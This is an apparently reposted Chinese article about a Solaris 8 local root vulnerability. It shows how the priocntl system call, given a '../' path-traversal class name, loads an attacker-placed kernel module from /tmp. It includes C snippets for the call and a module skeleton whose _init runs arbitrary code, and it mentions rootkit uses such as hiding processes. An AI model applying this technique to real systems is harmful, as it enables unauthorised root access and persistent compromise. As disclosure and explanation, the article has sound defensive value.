歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Unix知識 >> Unix教程

Solaris8模塊加載嚴重系統漏洞


  最近,我在Solaris8上研究內核模塊問題時,意外發現,
  Solaris8在執行內核模塊加載過程中,存在嚴重系統漏洞。
  作為結果,任何普通用戶都將可以擁有root權限。我們知道
  Solaris上出現了很多系統漏洞,他們中的很多是緩沖區溢出
  漏洞,利用這種類型的漏洞必須要求含有該漏洞的可執行文件
  具有setuid標志。而大多數有經驗的管理員已經將這些文件
  的setuid標志去掉了。我下面介紹的方法不依賴任何其他的
  setuid程序,就是說,你有執行程序的權利,你就是root了!
  
  先讓我們了解一下內核模塊的基本知識,現代*作系統
  大多擁有兩種工作狀態:核心態和用戶態。我們使用的一般
  應用程序工作在用戶態,而內核模塊和最基本的*作系統核
  心一同工作在核心態。
  為什麼不在*作系統核心中實現所有功能,而要使用內
  核模塊呢?因為隨著軟件技術的向前發展,*作系統核心需
  要支持的功能越來越多,體積也越來越大,如果在*作系統
  核心中實現所有功能我們就將擁有一個龐大而緩慢的*作系
  統內核了。
  內核模塊提供給我們一個較好的解決方案:在*作系統
  啟動時,僅加載最核心的部分,隨著使用的應用程序需要,
  再由*作系統動態的將相關的內核模塊加載到核心態,不用
  的時候就可以將這些模塊卸載出內存。這樣我們的內核就可
  以即功能強大,又小巧快捷了。
  
  現在步入正題,我們知道黑客們總是將獲得root權限作
  為目的,其實如果你可以在核心態運行你的程序,你一樣可
  以獲得一般賬號沒有的權限,甚至比root權限更高級的權限。
  因為*作系統只在用戶態對用戶權限進行限制。換句話說,
  就是如果你可以在核心態運行你的程序,那麼你就可以為所
  欲為了。所以一般*作系統都只准許root賬號來加載這種可
  以運行在核心態的內核模塊,Solaris8也不例外
  (modload命令)。
  但是在Solaris8上還有一些其他的命令(或系統調用),
  可以最終導致系統加載內核模塊,這些命令中的一些不需要
  root賬號。當然對於那些總是加載固定內核模塊的命令,他
  們也是安全的。那麼有沒有不需要root賬號而又可以指定加
  載某個內核模塊的命令呢?
  有!priocntl系統調用就是一個。priocntl是和進程切
  換相關的一條系統調用,當他的第三個參數是PC_GETCID時,
  他會加載在第四個參數中指定的內核模塊。例:
  ......
  pcinfo_t pcinfo;
  strcpy(pcinfo.pc_clname, "RT");
  if(priocntl(0,0,PC_GETCID,(caddr_t)&pcinfo)==-1)
  printf("error = d!\n",errno);
  else
  printf("OK!\n");
  ......
  編譯並運行他,然後利用命令"modinfo | grep RT"我們會發
  現RT內核模塊被Solaris8加載了。
  好!這是最關鍵的地方,也是產生漏洞的地方!priocntl
  系統調用加載內核模塊的缺省路徑是/kernel/sched和
  /usr/kernel/sched(除非你在/etc/system文件中指定的其他
  路徑),而這兩個路徑及其中的文件都是只有root才有寫權限
  的,我們無法將自己的內核模塊放到這兩個目錄中,但是!
  priocntl居然支持"../"!!!改寫的代碼如下:
  ......
  pcinfo_t pcinfo;
  strcpy(pcinfo.pc_clname, "../../tmp/gsu");
  if(priocntl(0,0,PC_GETCID,(caddr_t)&pcinfo)==-1)
  printf("error = d!\n",errno);
  else
  printf("OK!\n");
  ......
  然後編寫一個自己的內核模塊gsu,並放到/tmp目錄下(/tmp目
  錄對我們是有寫權限的)。OK!Solaris8將gsu加載到內核了!!
  這裡還有一個小問題,就是如果這個內核模塊成功加載了,
  那麼Solaris8將使用這個內核模塊,那就不知道會發生什麼了。
  可是我們的目的不是要加載這個內核模塊,我們只需要我們的
  代碼運行在核心態就可以了,可以編寫模塊代碼如下:
  #include
  #include
  _init()
  {
  /* 在這裡加入我們需要的代碼 */
  return -1;
  }
  _info(struct modinfo *modinfop)
  {
  return -1;
  }
  在函數_init中返回-1,表示加載模塊失敗,但沒關系,我們
  的代碼已經運行了。
  
  可以利用了上述功能將一個文件的所有者修改為root。而
  這個文件恰恰擁有可執行和setuid標志......
  其實,我們使用上述功能修改文件所有者,已經是"大才
  小用"了,利用它我們可以實現隱藏文件,隱藏進程,截獲系統
  調用等等一切可以想到的功能。
  
  那麼,我們如何防止這種黑客行為呢?
  屏蔽priocntl系統調用?(怎麼做能實現?)
  取消所有用戶的執行程序權限?(#¥#¥#¥)
  我們還是盼望SUN公司盡早推出對應這個漏洞的patch吧!
Copyright © Linux教程網 All Rights Reserved